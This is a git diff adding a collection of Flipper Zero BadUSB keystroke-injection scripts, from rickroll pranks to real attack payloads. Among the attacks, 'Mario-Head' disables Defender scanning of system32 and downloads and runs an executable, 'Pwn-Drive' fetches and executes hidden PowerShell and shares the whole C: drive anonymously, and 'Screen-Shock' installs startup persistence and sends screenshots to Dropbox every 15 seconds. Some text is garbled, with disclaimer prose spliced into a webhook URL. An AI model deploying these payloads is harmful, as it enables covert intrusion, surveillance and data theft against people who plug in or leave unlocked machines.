500 +ENTER +DELAY 500 +STRING curl -s https://www.example.com > output.txt +DELAY 1000 +ENTER +DELAY 500 +STRING open -e output.txt +DELAY 1000 +ENTER + + + + + diff --git a/badusb/MacOS-narstybits/Warning Readme.md b/badusb/MacOS-narstybits/Warning Readme.md new file mode 100644 index 0000000..6466391 --- /dev/null +++ b/badusb/MacOS-narstybits/Warning Readme.md @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + ++++Caution: Read before proceeding
+++Usage Limitations: +
+The scripts and codes provided by Narsty are intended solely for the purpose of testing security protocols and penetration testing. They should be used only in compliance with all applicable laws and regulations.
+++Authorization Required: +
+It is essential to obtain proper authorization and consent before using any scripts or codes on computer systems or networks (EVEN PRANKS). Ensure that you have explicit permission from the owner or authorized administrator of the system(s) you intend to test or evaluate.
+++Responsible Use: +
+Exercise utmost responsibility while utilizing these scripts and codes. Any unauthorized or malicious activities are strictly prohibited. Engaging in unauthorized access, tampering with data, or compromising the privacy of individuals without consent is illegal and unethical.
+++Legal Compliance: +
+Familiarize yourself with the laws, regulations, and guidelines applicable in your jurisdiction regarding computer security, ethical hacking, and information privacy. Ensure compliance with all relevant legal obligations.
+++ + diff --git a/badusb/Mario-head.txt b/badusb/Mario-head.txt new file mode 100644 index 0000000..579f491 --- /dev/null +++ b/badusb/Mario-head.txt @@ -0,0 +1,24 @@ +REM Title: Mario-Head BSOD +REM Author: FalsePhilosopher +REM Target: Win 10+, exe is Windows 7 and up 32/64 bit +REM Props: Hak5, bemxio for creating mario-head https://github.com/bemxio/mario-head, 3ctOs for the PS bits I used https://github.com/3ct0s/badusb-download-execute-disable-windows-defender and memes +REM Version: 1.0 +REM Category: Prank +REM Display a video of Mario's levitating head asking if he can have your computer and invokes a BSOD. +REM +REM startup delay +DELAY 500 +GUI r +DELAY 500 +STRING powershell Start-Process powershell -Verb runAs +CTRL-SHIFT ENTER +DELAY 1500 +SHIFT TAB +DELAY 500 +ENTER +DELAY 1500 +STRING Add-MpPreference -ExclusionPath C:\Windows\system32 +ENTER +DELAY 500 +STRING $down=New-Object System.Net.WebClient;$url='https://github.com/bemxio/mario-head/releases/latest/download/mario_dist.exe';$file='mario_dist.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit +ENTER diff --git a/badusb/OSX_Rickroll.txt b/badusb/OSX_Rickroll.txt new file mode 100644 index 0000000..8dd8e16 --- /dev/null +++ b/badusb/OSX_Rickroll.txt @@ -0,0 +1,25 @@ +REM Title: macOS rickroll +REM Author: Nils Streedain / spydamarkman +REM Description:Opens a rickroll in YouTube in full screen at maximum volume. +REM Target: macOS 11.0+ +REM Version: 1.0 +REM Category: Prank +REM Source: https://github.com/nilsstreedain/Ducky-Scripts/ +REM +REM Open terminal window +DELAY 1000 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 100 +ENTER +DELAY 1000 +STRING open 'https://www.youtube.com/watch?v=dQw4w9WgXcQ' +ENTER +DELAY 1000 +GUI TAB +DELAY 100 +STRING osascript -e 'set volume 7' && killall Terminal +ENTER +DELAY 1500 +STRING f diff --git a/badusb/Party_Parrot_OSX.txt b/badusb/Party_Parrot_OSX.txt new file mode 100644 index 0000000..2f9c447 --- /dev/null +++ b/badusb/Party_Parrot_OSX.txt @@ -0,0 +1,12 @@ +REM Title: Party Parrot for OSX +REM Author: Jeffrey Koopman | JKCTech +REM Description: Shows a pretty party parrot! +REM Target: macOS 11.0+ +REM +DEFAULTDELAY 250 +GUI SPACE +STRING terminal +ENTER +DELAY 2000 +STRING curl https://ascii.live/parrot & +ENTER diff --git a/badusb/Party_Parrot_Win.txt b/badusb/Party_Parrot_Win.txt new file mode 100644 index 0000000..d4ddc62 --- /dev/null +++ b/badusb/Party_Parrot_Win.txt @@ -0,0 +1,14 @@ +REM Title: Party Parrot for Windows +REM Author: Jeffrey Koopman | JKCTech +REM Description: Shows a pretty party parrot! +REM Target: Windows +REM +DEFAULTDELAY 50 +GUI r +DELAY 500 +STRING powershell.exe +ENTER +DELAY 1000 +STRING $request = [System.Net.HttpWebRequest]::Create("http://parrot.live");$receiveStream=$request.GetResponse().GetResponseStream();$readStream=[System.IO.StreamReader]::new($receiveStream);[console]::TreatControlCAsInput=$true;$initialForegroundColor=[Console]::ForegroundColor;while($line=$readStream.ReadLine()){if([Console]::KeyAvailable){$key=[System.Console]::ReadKey($true);if(($key.modifiers -band [ConsoleModifiers]"control") -and ($key.key -eq "C")){break;}}[Console]::WriteLine($line);} +ENTER +GUI UPARROW diff --git a/badusb/PingMe.txt b/badusb/PingMe.txt new file mode 100644 index 0000000..07abb22 --- /dev/null +++ b/badusb/PingMe.txt @@ -0,0 +1,13 @@ +REM Title: PingMe +REM Author: 7h30th3r0n3 +REM Target: Windows 7/8/10/11 +REM Version: 1 +REM Category: Grabber +REM Designed to be used for mouse hijacking to find out if it is connected to the internet +GUI r +DELAY 400 +STRING powershell +ENTER +DELAY 400 +STRING Invoke-WebRequest -Uri https://webhook.site/Accountability: +
+By using Narsty's scripts and codes, you acknowledge that you are solely responsible for any actions or consequences resulting from their use. Narsty cannot be held liable for any misuse, damage, or legal ramifications arising from unauthorized or unethical activities.
+-Method GET;exit +ENTER diff --git a/badusb/PoC_Discord_Webhook.txt b/badusb/PoC_Discord_Webhook.txt new file mode 100644 index 0000000..1dbd170 --- /dev/null +++ b/badusb/PoC_Discord_Webhook.txt @@ -0,0 +1,26 @@ +REM Description: PoC fileless Flipper BadUSB exfil to discord webhook +REM Author: Vojnomir Malenkov +REM Based on https://github.com/atomiczsec/My-Payloads/blob/main/RubberDucky/payloads/Copy-And-Waste/c.ps1 +GUI r +DELAY 500 +STRING powershell +ENTER +DELAY 500 +STRING [String]$contentbody = "this is a test of exfil data via webhook" +ENTER +DELAY 400 +STRING $Body = @{ +ENTER +DELAY 300 +STRING 'username'= 'loot' +ENTER +DELAY 200 +STRING 'content' = $contentbody } +ENTER +DELAY 500 +STRING iwr -Uri DISCORD-WEBHOOK-HERE -Method POST -Body $Body +DELAY 500 +ENTER +STRING exit +DELAY 200 +ENTER diff --git a/badusb/Power-Imperial.txt b/badusb/Power-Imperial.txt new file mode 100644 index 0000000..44ab6f3 --- /dev/null +++ b/badusb/Power-Imperial.txt @@ -0,0 +1,50 @@ +REM Title: Power Imperial +REM Author: 7h30th3r0n3 +REM Target: Tested on Windows 7/8/10 +REM Version: 1.0 +REM Category: Prank +REM Launches Powershell and play Imperial theme with pc buzzer +GUI r +DELAY 500 +STRING powershell +ENTER +DELAY 500 +STRING [console]::beep(440,500); +ENTER +STRING [console]::beep(440,500); +ENTER +STRING [console]::beep(440,500); +ENTER +STRING [console]::beep(349,350); +ENTER +STRING [console]::beep(523,250); +ENTER +STRING [console]::beep(440,500); +ENTER +STRING [console]::beep(349,350); +ENTER +STRING [console]::beep(523,250); +ENTER +STRING [console]::beep(440,500); +ENTER +DELAY 2000 +STRING [console]::beep(659,500); +ENTER +STRING [console]::beep(659,500); +ENTER +STRING [console]::beep(659,500); +ENTER +STRING [console]::beep(698,350); +ENTER +STRING [console]::beep(523,250); +ENTER +STRING [console]::beep(415,500); +ENTER +STRING [console]::beep(349,350); +ENTER +STRING [console]::beep(523,250); +ENTER +STRING [console]::beep(440,500); +ENTER +STRING exit +ENTER \ No newline at end of file diff --git a/badusb/Pwn-Drive/README.md b/badusb/Pwn-Drive/README.md new file mode 100644 index 0000000..c3211bb --- /dev/null +++ b/badusb/Pwn-Drive/README.md @@ -0,0 +1,107 @@ + + + + + + +
+ + +++ +# Pwn-Drive + +A payload to share the victims "C:" drive to the network. + +## Description + +This payload will share the entire victims "C:" drive to the entire network for further exploitation. + +## Getting Started + +### Dependencies + +* DropBox or other file sharing service - Your Shared link for the intended file +* Windows 10 + + + +### Executing program + +* Plug in your device +* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory +``` +powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; iex $pl +``` + + + +## Contributing + +All contributors names will be listed here + +atomiczsec +I am Jakoby + + + +## Version History + +* 0.1 + * Initial Release + + + + +## Contact + +Table of Contents
++
+- Description
+- Getting Started
+- Contributing
+- Version History
+- Contact
+- Acknowledgments
+📱 My Socials 📱
+ + + + + + + + + + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [I-Am-Jakoby](https://github.com/I-Am-Jakoby) + + diff --git a/badusb/Pwn-Drive/c.ps1 b/badusb/Pwn-Drive/c.ps1 new file mode 100644 index 0000000..798b9ee --- /dev/null +++ b/badusb/Pwn-Drive/c.ps1 @@ -0,0 +1,14 @@ +#Pwn-Drive + +#Enable Network Discovery +netsh advfirewall firewall set rule group=”network discovery” new enable=yes + +#Enable File and Print +netsh firewall set service type=fileandprint mode=enable profile=all + +#Setting Registry Values for allowing access to drive without credentials +Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name everyoneincludesanonymous -Value 1 -Force +Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters\" -Name restrictnullsessacces -Value 0 -Force + +#Sharing the Drive +New-SmbShare -Name "Windows Update" -Path "C:\" \ No newline at end of file diff --git a/badusb/Pwn-Drive/payload.txt b/badusb/Pwn-Drive/payload.txt new file mode 100644 index 0000000..a5dd524 --- /dev/null +++ b/badusb/Pwn-Drive/payload.txt @@ -0,0 +1,16 @@ +REM Title: Pwn-Drive + +REM Author: atomiczsec + +REM Description: This payload will share the entire victims "C:" drive to the entire network for further exploitation. + +REM Target: Windows 10 + +DELAY 2000 +GUI r +DELAY 500 +STRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl +ENTER + +REM Remember to replace the link with your DropBox shared link for the intended file to download +REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1 diff --git a/badusb/RR_ASCII_Win.txt b/badusb/RR_ASCII_Win.txt new file mode 100644 index 0000000..cb0feac --- /dev/null +++ b/badusb/RR_ASCII_Win.txt @@ -0,0 +1,142 @@ +REM Rick Roll ASCII reworked by UberGuidoZ +REM https://github.com/UberGuidoZ +DELAY 2000 +GUI r +DELAY 500 +STRING notepad +ENTER +DELAY 1000 +GUI UPARROW +DELAY 500 +STRING K00KKKKKKKKOOOOOOOOOOO0KKKKXKK00O000OOOOOOkkkkOO0KKKKKKXKKKKXKKKKK0OkxxkxxxxxxkO000KKKKKKKK000000000 +ENTER +STRING 0000OO0O0OOOO000OO0000KKKK000OkkkkkkkkxxxxkkkkxkkkkkkOO00OOO00KKKKK0OkxxxxxxxxxkO00KKKKKKKKKK0000000 +ENTER +STRING KKK0000OOOOOO0000000000OOOkkkkkOOOOkkkkkkxoolcclc:;;:clodkOOkkOOOOOOOkxxxxxkkkxxkkOOO000O00000000000 +ENTER +STRING XXXXXXXKKKKK00000000000000OOkOOOOOkkkkkOOo:,'',,,,,,,',,:ldkkkkkkxxxxxxxxxkkkkxxkxxkkOOOO00KKKXK00KK +ENTER +STRING XXXXXXXXXNNXXK00000000KKXKKK00OOkkkOkkkkdl;,'.'..''''''',;;lxOkOOOkkkkxxkkkkkkkkkkkO0KKKKKXNNNNXK0KX +ENTER +STRING XXXXXXXNNNNXKK000000000KXXXXKKKOOOO0OOOkoc:;;;,,',,,,,,,,,,;lO00K000OkkkkkkkkO00KKKKXKXXXXXNNNNNX00K +ENTER +STRING XNNXXXXXKKKK00000000KK00KKKKK000OOO00kdloolooodoooddddool;,,cOKK000OkkkkkkkkkkO0KKKKXXXXXXXXNNNNK000 +ENTER +STRING XXXXKK000000KXK0000KKK0000OOOOOOOkkkkd:codlloddddxxxxxxxxl;,lkOOkkkkkkkkxkkkkkkOO000KKKXXXXXNNNNXK00 +ENTER +STRING K0K0000000KXXXK00000KXK0000000000Okkkdcldolccloddddxxxkxxo:;lkkkkxxxk00kxkkkkkkkkkkkk00KXKXXXNNNNNXK +ENTER +STRING 000000000XXNNX000000K0000KXXXXXXXK0Okkdddl::::codolllodddo::x0OkkkxxkOOkxkkkkOOOkkkkkkOO000KXNNNXXXX +ENTER +STRING KKKK0000KXNNNXKK000000KKKXNNNNXXXXX0xkOkdllccccoxxdolloodlcx0KKKKOkxxkkkkkkkkO000OkkkkkkkkOO0XXXXXXK +ENTER +STRING XXNXXKKKKXNWNXKKKKKKKXNNNNNNXXXXXXXOodOkolllllloxxxxxxxxdooOKKKKKKOOkkkkkkkkkOK000kkkkkkkkkkOO0KKXKK +ENTER +STRING XNNXXNXKKKXNNXKKKKKKKKNNNNNNXXXXXXX0xdkkollllccoddxxxxxxdddOKKKKKK0K0OkkkkkkkOKKKOkkkkO000OkkkkkO0KK +ENTER +STRING XXXXKK00KKKKKKK00K000KXNNNNNNNXXXXXK0O0kolllllodxxxxxxxddxk0KKK0KK0K0kkxxkkkkO00OkkOO000000OkkkkkkkO +ENTER +STRING KXXK000KXXXK0K000K00KXNWNNNNNNXXXXXK0KKkollcccloddddxxxkOOKK0KK0KK0K0kxxxxkkxkkkkkkkOO000K00OOkkkkkk +ENTER +STRING 00000KXNNNNNKK0000000KNNNNNNNNXXXXXK000kdollloodxxxdddx0K0KK0KK0KK0KKOkxxxxxxxxk00OkkkOKKK0OOkkOOOOO +ENTER +STRING 00000XNNNNNNXK0000000000KNNXNNXXXK0Okkkdolllclodddddddk000KK0KK0K000Okkxxxxxxkk000K0OkO000Okkkk00K0O +ENTER +STRING XXK00XNNNNNNX00000KKK0000KXXNNXXKOkkkkkdllccccclooodddxdxO0KKKKKK0OkkkkkkxxxxkO0KKKKK0OOOOOOOkkO00Ok +ENTER +STRING XNNK0KXNNNNNK00000KXNXK00OO00000Okkkkkkdllllloddddxddkx:;lx00K00OkkxkkOOkxxkkkO0KKKKK0O0KKXK0Okkkkkk +ENTER +STRING XXNK00XNNXNNK000000KK000OOOOkkkkkkOOOxooolllloodddddkOo'..';loddxxxkO00OkkkkkkO000KKKOOKXXXKK0OkkkO0 +ENTER +STRING XXXX0OKXXXXXKOOOOO00OOO00KK0OOxxdxkOOxoodoollooooxxk0Oc.......'';::cllodxxkkkkO000KK0O0KXXXXK0OkkkO0 +ENTER +STRING XXXXKO0KXXXX0OOOOOOOOO0KK0Oxol:;:okOOkooooolllodkO00Oo,................',;:cldO00000Ok0XXKXK0kkxkkkk +ENTER +STRING KXXXKOO00KXKOkkkkOOOOkkxoc:,'...'lkkkxlccclddxkOO00kl'.......................,oO0000kk0KKKX0kkkkkxxk +ENTER +STRING 0KK00OOOOOO0Okkkkkkdl:;,'.......'cxxddc:ccoxkOO00xo:..........................,d0OOkkk0KKK0kkxO0OOkx +ENTER +STRING OOOOO0KKK0OOOkkkkkx:.............',':lc::clolodxd:,............................lOkkkkkkO00kxkkO000Ox +ENTER +STRING kOOO0XXXXXX0OOOkkkd;................;cc::cloooll:'.............................'okOOOkxkkkxxkO0KKKOk +ENTER +STRING kkO0KXXXXNNKOOOkkko,................;cccccllllc:,...............................,dO00OkkxxxxxkkOO0Ok +ENTER +STRING kkkOKXXXXXXKOOOkkko'................;cloolccc::;................................,dOO0OOkkxxxxkkkkkkk +ENTER +STRING kkkkO0XKKXX0Okkkkko,................;cldxoc::;;'.................................cxOOOOkkkxxkO0000Ok +ENTER +STRING OkkkkOKKKXX0Okkkkxl'................;:oxxo:;;;,...................................;k0Okkkkkkkk0KKXK0 +ENTER +STRING 0kkkkO0KXXX0OOkkkx:.................';lxkl;;;;,......................... .......:dxkkkOOOkk0XXXXX +ENTER +STRING 00OkkOO0KXX0OOkkkx:.................',:loc;:::'........''.............. .........':okO00OkOKXXXN +ENTER +STRING KKOkOOOOKXX0OOkkkx:..................,;::::::;.........:llolcccc:'..... .. .........;lk00OkOKXXX +ENTER +STRING OOkkO0OO0KX0OOkkkx:..... ............;:c::::;'.........:::clllllol;..... . ..........';okkk0KXX +ENTER +STRING xkkk0K0OO0KOkkkkkkl.... ............;:::;;;,..........';:cllllllol:.... ..............:xkk0KK +ENTER +STRING xkkkO0K0OOOOkkkkkko.... ...........,;;;,,,'...........';:ccllllloo:........................;xkkO0K +ENTER +STRING OO00OOOOkkkkkkkxxkc..... ..........',;;,''.............';:ccllllooc'.......................;xkxk0K +ENTER +STRING 00KKK0Okkkkkkkxxxxc..... ..........,;;,,,......... .........,;cllc,.......................'oxxxOO +ENTER +STRING 000KK0OOOkkkkkxxxd;........ .........';;,,,... ..,,'.. ......................:dxxxx +ENTER +STRING 000K0K000Okkkxxxxd:,,'...,:ccllc::;'..,;;;;,. ..,;,................:dddxx +ENTER +STRING OO00OO000Okkkxxxxxo,...,clolcc::;;,...,;;;,'. . ..................,cdddddx +ENTER +STRING O0000000Okkxxxxxdxo,..,,':l:;;;;;;,...,;;,'.. .'''........'',;:oxkxddodd +ENTER +STRING OOO0OOkkkxxxxxxxddd:''...';;;;;;;;'...,,,'.. ... .cddoollloodxxxkkkkkxdoood +ENTER +STRING OO0Okxxxxxxxxxxdddddc,....',;;,;;,. .'',,... .... .,dddxxxddddxxxxkxxdoooooo +ENTER +STRING kkkxxxxxxxxxddddddxdolc:,...',,''.. ..',,... ..'lddxxddddddxxxxxdooooooo +ENTER +STRING dddddxkkkxddddddddxkdoooc;'..... ..''.. .......cddddddddddddddddoddoooo +ENTER +STRING ooddxkkOkxdddddddxxkkxdooollc:,. .''. .........;dddddddddddddooodddoooo +ENTER +STRING oodxkkkkkxddddddddxkkkkdollool,... .''','.. .........,lddddddddddddddddddoooo +ENTER +STRING oodxkkkkkdddddddodxxxxxdollol:......,;;,,'. .........:oooddddddddoodddddoooo +ENTER +STRING ooodxxkkxddddoooodxkkxdollllc;......,;;,,'. .........,looooooooooooooddooooo +ENTER +ENTER +ENTER +STRING # # ###### # # ###### ##### #### #### # # # # ## +ENTER +STRING ## # # # # # # # # # # # ## # ## # # # +ENTER +STRING # # # ##### # # ##### # # # # # # # # # # # # # +ENTER +STRING # # # # # # # ##### # ### # # # # # # # # ###### +ENTER +STRING # ## # # # # # # # # # # # ## # ## # # +ENTER +STRING # # ###### ## ###### # # #### #### # # # # # # +ENTER +ENTER +ENTER +STRING #### # # # ###### # # #### # # # # ##### +ENTER +STRING # # # # # # # # # # # # # # # # +ENTER +STRING # # # # ##### # # # # # # # # # +ENTER +STRING # ### # # # # # # # # # # # ##### +ENTER +STRING # # # # # # # # # # # # # # +ENTER +STRING #### # ## ###### # #### #### #### # +ENTER +DELAY 2000 +CTRL HOME +DELAY 2000 +CTRL END \ No newline at end of file diff --git a/badusb/ReadMe.md b/badusb/ReadMe.md new file mode 100644 index 0000000..a42430f --- /dev/null +++ b/badusb/ReadMe.md @@ -0,0 +1,41 @@ +# BadUSB scripts I've created, converted, or collected. + +Proper credit is always provided; I simply request the same.
+[Check out this nice list of keys you can use in your scripts!](https://gist.github.com/methanoliver/efebfe8f4008e167417d4ab96e5e3cac) + +## Many more should work from my other repos: [O.MG Devices](https://github.com/UberGuidoZ/Hak5-OMG-Payloads) and [Hak5](https://github.com/UberGuidoZ/Hak5-USBRubberducky-Payloads) + +Some have been converted to work for the Flipper already! Check out the submodules above [or FalsePhilosopher's download and go](https://github.com/FalsePhilosopher/badusb). + +Looking to break out of kisok mode for some shenanigans and educational value? [Here's some helpful tips](https://www.trustedsec.com/blog/kioskpos-breakout-keys-in-windows/) and a [script from nocomp](https://github.com/nocomp/Kiosk-evasion-BADUsb-Bruteforce)! + +Protip: Change the VID/PID to further trust of your device. [Great searchable list here](https://www.the-sz.com/products/usbid/)! + +Don't forget to check out some other friends too! [I-Am-Jakoby](https://github.com/I-Am-Jakoby) | [Øiphori3](https://github.com/0iphor13) | [Hak5](https://hak5.org/blogs/payloads) + +Some others I've found but can't vouch for (but worth exploring!) [SIGUrger](https://github.com/SIGUrger/FlipperZeroBadusb) + +Thirsty for more? Here's some light reading (lol) about the [USB HID spec](https://usb.org/sites/default/files/hut1_3_0.pdf). + +----- + +## Donation Information + +Nothing is ever expected for the hoarding of digital files, creations I have made, or the people I may have helped. + +## Ordering from Lab401? [USE THIS LINK FOR 5% OFF!](https://lab401.com/r?id=vsmgoc) (Or code `UberGuidoZ` at checkout.) + +I've had so many asking for me to add this.
+![Flipper_Blush](https://user-images.githubusercontent.com/57457139/183561666-4424a3cc-679b-4016-a368-24f7e7ad0a88.jpg) ![Flipper_Love](https://user-images.githubusercontent.com/57457139/183561692-381d37bd-264f-4c88-8877-e58d60d9be6e.jpg) + +**BTC**: `3AWgaL3FxquakP15ZVDxr8q8xVTc5Q75dS`
+**BCH**: `17nWCvf2YPMZ3F3H1seX8T149Z9E3BMKXk`
+**ETH**: `0x0f0003fCB0bD9355Ad7B124c30b9F3D860D5E191`
+**LTC**: `M8Ujk52U27bkm1ksiWUyteL8b3rRQVMke2`
+**PayPal**: `uberguidoz@gmail.com` + +So, here it is. All donations of *any* size are humbly appreciated.
+![Flipper_Clap](https://user-images.githubusercontent.com/57457139/183561789-2e853ede-8ef7-41e8-a67c-716225177e5d.jpg) ![Flipper_OMG](https://user-images.githubusercontent.com/57457139/183561787-e21bdc1e-b316-4e67-b327-5129503d0313.jpg) + +Donations will be used for hardware (and maybe caffeine) to further testing!
+![UberGuidoZ](https://cdn.discordapp.com/emojis/1000632669622767686.gif) diff --git a/badusb/RickRoll (Basic).txt b/badusb/RickRoll (Basic).txt new file mode 100644 index 0000000..e1177bb --- /dev/null +++ b/badusb/RickRoll (Basic).txt @@ -0,0 +1,10 @@ +REM Author: OpenAI Assistant +REM Date: 2022-12-27 +REM Description: A simple Ruby Ducky script to play a Rick Roll video + +DELAY 1000 +GUI r +DELAY 200 +STRING powershell Start-Process "https://www.youtube.com/watch?v=dQw4w9WgXcQ" +DELAY 500 +ENTER \ No newline at end of file diff --git a/badusb/RickRoll Max Vol (Basic).txt b/badusb/RickRoll Max Vol (Basic).txt new file mode 100644 index 0000000..859703d --- /dev/null +++ b/badusb/RickRoll Max Vol (Basic).txt @@ -0,0 +1,18 @@ +REM Author: OpenAI Assistant +REM Date: 2022-12-27 +REM Description: A simple Ruby Ducky script to play a Rick Roll video with maximum volume + +DELAY 1000 +GUI r +DELAY 200 +STRING powershell +DELAY 100 +ENTER +DELAY 500 +STRING (Get-WmiObject -Class Win32_Volume).SetVolume(100) +DELAY 100 +ENTER +DELAY 500 +STRING Start-Process "https://www.youtube.com/watch?v=dQw4w9WgXcQ" +DELAY 500 +ENTER diff --git a/badusb/RickRoll_CMD_Win.txt b/badusb/RickRoll_CMD_Win.txt new file mode 100644 index 0000000..4d1689f --- /dev/null +++ b/badusb/RickRoll_CMD_Win.txt @@ -0,0 +1,11 @@ +REM Title: Rick Roll Windows CMD +REM Author: Nando Kools | NanKooDev +REM Description: RickRoll in Windows Command Prompt +REM Target: Windows +REM +GUI r +DELAY 1000 +STRING curl http://ascii.live/rick +ENTER +DELAY 750 +ALT ENTER diff --git a/badusb/RickRoll_Term_OSX.txt b/badusb/RickRoll_Term_OSX.txt new file mode 100644 index 0000000..247f9d5 --- /dev/null +++ b/badusb/RickRoll_Term_OSX.txt @@ -0,0 +1,12 @@ +REM Title: RickRoll +REM Author: Jeffrey Koopman | JKCTech +REM Description: RickRoll in Windows PowerShell +REM Target: macOS 11.0+ +REM +DEFAULTDELAY 250 +GUI SPACE +STRING terminal +ENTER +DELAY 2000 +STRING curl ascii.live/rick & +ENTER diff --git a/badusb/RickRoll_YT_OSX.txt b/badusb/RickRoll_YT_OSX.txt new file mode 100644 index 0000000..dd7c161 --- /dev/null +++ b/badusb/RickRoll_YT_OSX.txt @@ -0,0 +1,12 @@ +REM Title: RickRoll +REM Author: Jeffrey Koopman | JKCTech +REM Description: Opens default browser and puts up RickRoll without ads +REM Target: macOS 11.0+ +REM +GUI SPACE +DELAY 500 +STRING terminal +ENTER +DELAY 1000 +STRING open 'https://www.youtube.com/watch?v=xvFZjo5PgG0'; exit +ENTER diff --git a/badusb/RickRoll_YT_Win.txt b/badusb/RickRoll_YT_Win.txt new file mode 100644 index 0000000..26b51ab --- /dev/null +++ b/badusb/RickRoll_YT_Win.txt @@ -0,0 +1,10 @@ +REM Title: RickRoll +REM Author: big0us +REM Description: RickRoll Youtube +REM Target: Windows +REM +DEFAULTDELAY 50 +GUI r +DELAY 500 +STRING powershell.exe -e UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AeQBvAHUAdAB1AGIAZQAuAGMAbwBtAC8ALgAuAC8ALgAuAC8AdwBhAHQAYwBoAD8AdgA9AGQAUQB3ADQAdwA5AFcAZwBYAGMAUQAmADEAPQAxACIA +ENTER diff --git a/badusb/Screen-Shock/I.bat b/badusb/Screen-Shock/I.bat new file mode 100644 index 0000000..665c9be --- /dev/null +++ b/badusb/Screen-Shock/I.bat @@ -0,0 +1,3 @@ +@echo off +powershell -Command "& {cd "$env:userprofile\AppData\Roaming"; powershell -w h -NoP -NonI -Ep Bypass -File "c.ps1"}" +pause diff --git a/badusb/Screen-Shock/README.md b/badusb/Screen-Shock/README.md new file mode 100644 index 0000000..a53c03f --- /dev/null +++ b/badusb/Screen-Shock/README.md @@ -0,0 +1,117 @@ + + ++ + + +
+ + +++ +# Screen-Shock + +This payload is meant to exfiltrate screenshots of all monitors and sends to a dropbox every 15 seconds. (This setting can be changed in the c.ps1 file) + +## Description + +This payload uses iwr to download 2 files +* I.bat +* c.ps1 + +**I.bat** is downloaded to the startup folder to maintain persistance and execute c.ps1 on reboot/startup + +**c.ps1** will sit in AppData\Roaming folder, taking a screenshot of all monitors every 15 seconds + +Then the contents will then be sent to the DropBox for viewing pleasure + + + +## Getting Started + +### Dependencies + +* Pastebin or other file sharing service, Dropbox +* Windows 10 +* [Here](https://github.com/I-Am-Jakoby/PowerShell-for-Hackers/blob/main/Functions/DropBox-Upload.md) is a tutorial on how to use DropBox-Upload + + + +### Executing program + +* Plug in your device +* Device will download both files and place them in proper directories to then run the script +``` +powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1"" +``` + + + +## Contributing + +All contributors names will be listed here: + +[atomiczsec](https://github.com/atomiczsec) + + + +## Version History + +* 0.1 + * Initial Release + + + + +## Contact + +Table of Contents
++
+- Description
+- Getting Started
+- Contributing
+- Version History
+- Contact
+- Acknowledgments
+📱 My Socials 📱
+ + + + + + + + + + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [I-Am-Jakoby](https://github.com/I-Am-Jakoby) + + diff --git a/badusb/Screen-Shock/c.ps1 b/badusb/Screen-Shock/c.ps1 new file mode 100644 index 0000000..ef43687 --- /dev/null +++ b/badusb/Screen-Shock/c.ps1 @@ -0,0 +1,45 @@ +function DropBox-Upload { + +[CmdletBinding()] +param ( + +[Parameter (Mandatory = $True, ValueFromPipeline = $True)] +[Alias("f")] +[string]$SourceFilePath +) +$DropBoxAccessToken = "YOUR-DROPBOX-TOKEN" # Replace with your DropBox Access Token +$outputFile = Split-Path $SourceFilePath -leaf +$TargetFilePath="/$outputFile" +$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' +$authorization = "Bearer " + $DropBoxAccessToken +$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" +$headers.Add("Authorization", $authorization) +$headers.Add("Dropbox-API-Arg", $arg) +$headers.Add("Content-Type", 'application/octet-stream') +Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers +} + +while(1){ + + Add-Type -AssemblyName System.Windows.Forms,System.Drawing + + $screens = [Windows.Forms.Screen]::AllScreens + + $top = ($screens.Bounds.Top | Measure-Object -Minimum).Minimum + $left = ($screens.Bounds.Left | Measure-Object -Minimum).Minimum + $width = ($screens.Bounds.Right | Measure-Object -Maximum).Maximum + $height = ($screens.Bounds.Bottom | Measure-Object -Maximum).Maximum + + $bounds = [Drawing.Rectangle]::FromLTRB($left, $top, $width, $height) + $bmp = New-Object -TypeName System.Drawing.Bitmap -ArgumentList ([int]$bounds.width), ([int]$bounds.height) + $graphics = [Drawing.Graphics]::FromImage($bmp) + + $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size) + + $bmp.Save("$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png") + $graphics.Dispose() + $bmp.Dispose() + + start-sleep -Seconds 15 + "$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png" | DropBox-Upload +} \ No newline at end of file diff --git a/badusb/Screen-Shock/payload.txt b/badusb/Screen-Shock/payload.txt new file mode 100644 index 0000000..d751396 --- /dev/null +++ b/badusb/Screen-Shock/payload.txt @@ -0,0 +1,17 @@ +REM Title: Screen-Shock + +REM Author: atomiczsec + +REM Description: This payload is meant to exfiltrate screenshots of all monitors and sends to a dropbox every 15 seconds. (This setting can be changed in the c.ps1 file) + +REM Target: Windows 10 + +DELAY 2000 +GUI +DELAY +STRING powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1"" +ENTER + +REM Remember to replace the link with your pastebin shared link for the intended files to download +REM Also remember to put in your discord webhook in c.ps1 +REM For the PASTEBIN LINK's do not put https:// infront of it, it should look like pastebin.com/raw/BLAHBLAHBLAH \ No newline at end of file diff --git a/badusb/Screen-Shock/placeholder 